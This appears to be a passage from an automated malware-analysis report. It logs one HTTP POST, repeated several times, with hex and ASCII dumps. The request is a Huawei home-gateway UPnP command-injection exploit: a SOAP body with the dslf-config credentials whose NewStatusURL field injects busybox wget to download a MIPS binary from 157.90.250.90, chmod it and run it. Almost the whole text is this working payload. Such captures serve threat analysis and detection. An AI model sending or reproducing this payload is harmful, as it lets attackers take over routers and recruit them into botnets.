6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
